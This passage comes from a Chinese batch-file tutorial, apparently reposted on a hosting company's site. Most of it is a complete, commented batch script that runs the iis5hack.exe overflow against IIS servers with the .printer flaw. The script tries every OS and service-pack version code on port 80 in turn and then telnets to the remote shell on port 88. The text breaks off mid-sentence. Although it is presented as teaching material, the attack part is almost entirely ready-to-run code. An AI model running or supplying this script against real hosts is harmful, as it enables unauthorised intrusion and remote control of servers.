精通批处理教程 批处理从入门到精通
作者 佚名
来源 批处理
浏览
发布时间 2013-07-09
的一些用法。现在我们把这些用法结合起来详细的分析一下目前网上发布的一些批处理,看看他们是怎么运作的。这里我将列举三个例子来详细分析,为了保持程序的完整我的注释会加在/*后面。 例一 这个例子是利用iis5hack.exe对有.printer漏洞的主机进行溢出的批处理。用到的程序有iis5hack.exe和系统自带的telnet.exe。iis5hack的命令格式为: iis5hack <目标ip> <目标端口> <目标版本> <溢出连接端口>目标版本为0-9这10个数字分别对应不同语言版本和sp的系统版本,我们编制的批处理使用的命令格式为 <iis.bat 目标ip (开始版本号)>开始版本号可有可无。程序如下。 复制代码 代码如下: @echo off /*关闭命令回显 if "%1%"=="" goto help /*判断%1是否为空,%1为目标ip if "%2%"=="1" goto 1 /*判断%2是否为1,为1则跳转标志1 if "%2%"=="2" goto 2 /*%2为开始版本号,如果没有设置则 if "%2%"=="3" goto 3 /*如果存在则从匹配的地方开始执行 if "%2%"=="4" goto 4 if "%2%"=="5" goto 5 if "%2%"=="6" goto 6 if "%2%"=="7" goto 7 if "%2%"=="8" goto 8 if not EXIST iis5hack.exe goto file /*没有发现iis5hack.exe就执行标志file段内容 ping %1 -n 1 | find "Received = 1" /*ping目标1次,从结果中发现Received = 1 if errorlevel 1 goto error /*如果返回代码为1则执行error段(代码1为没有发现 0为发现并成功执行) iis5hack %1 80 9 88 | find "good" /*开始溢出目标端口80 系统代码9 溢出后连接端口88 在执行结果中发现字符串”good”(溢出成功后才会有字符串good) if not errorlevel 1 goto telnet /*如果没有错误代码1(溢出成功)就执行telnet段的内容。 echo 操作系统类型 9 失败! /否则显示这一句 :8 /*以下代码内容参照上面 iis5hack %1 80 8 88 | find "good" if not errorlevel 1 goto telnet echo 操作系统类型 8 失败! :7 iis5hack %1 80 7 88 | find "good" if not errorlevel 1 goto telnet echo 操作系统类型 7 失败! :6 iis5hack %1 80 6 88 | find "good" if not errorlevel 1 goto telnet echo 操作系统类型 6 失败! :5 iis5hack %1 80 5 88 | find "good" if not errorlevel 1 goto telnet echo 操作系统类型 5 失败! :4 iis5hack %1 80 4 88 | find "good" if not errorlevel 1 goto telnet echo 操作系统类型 4 失败! :3 iis5hack %1 80 3 88 | find "good" if not errorlevel 1 goto telnet echo 操作系统类型 3 失败! :2 iis5hack %1 80 2 88 | find "good" if not errorlevel 1 goto telnet echo 操作系统类型 2 失败! :1 iis5hack %1 80 1 88 | find "good" if not errorlevel 1 goto telnet echo 操作系统类型 1 失败! :0 iis5hack %1 80 0 88 | find "good" if not errorlevel 1 goto telnet echo 操作系统类型 0 失败! goto error :telnet telnet %1 88 /*开始连接目标ip的88端口 goto exit /*连接中断后跳转exit段 :error /*error段显示错误后的帮助信息 echo 可能网络不能连接或者对方以修补该漏洞!请按照下面的格式手工尝试一次! echo iis5hack [目标IP] [WEB端口] [系统类型] [开放端口] ECHO 中文: 0 ECHO 中文+sp1: 1 ECHO 英文: 2 ECHO 英文+sp1: 3 ECHO 日语: 4 ECHO 日语+sp1: 5 ECHO 韩文: 6 ECHO 韩文+sp1: 7 ECHO 墨西哥语: 8 ECHO 墨西哥语+sp1: 9 goto exit /*跳转exit段 :file /*file段显示文件没有发现的信息 echo 文件iis5hack.exe没有发现!程序终止运行! goto exit /*跳转exit段 :help /*help段显示本批处理的使用格式帮助 echo 本程序用法如下: echo iis [目标ip] echo iis [目标ip] [开始的号码9-0] :exit /*exit段为程序出口 这个批处理基 |
凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务,公司网站:http://www.lingzhong.cn 为了给广大客户了解更多的技术信息,本技术文章收集来源于网络,凌众科技尊重文章作者的版权,如果有涉及你的版权有必要删除你的文章,请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢! |
你可能对下面的文章感兴趣
上一篇: cmd命令行大全 dos命令 cmd命令整理下一篇: Bat脚本处理ftp超强案例分析
关于精通批处理教程 批处理从入门到精通的所有评论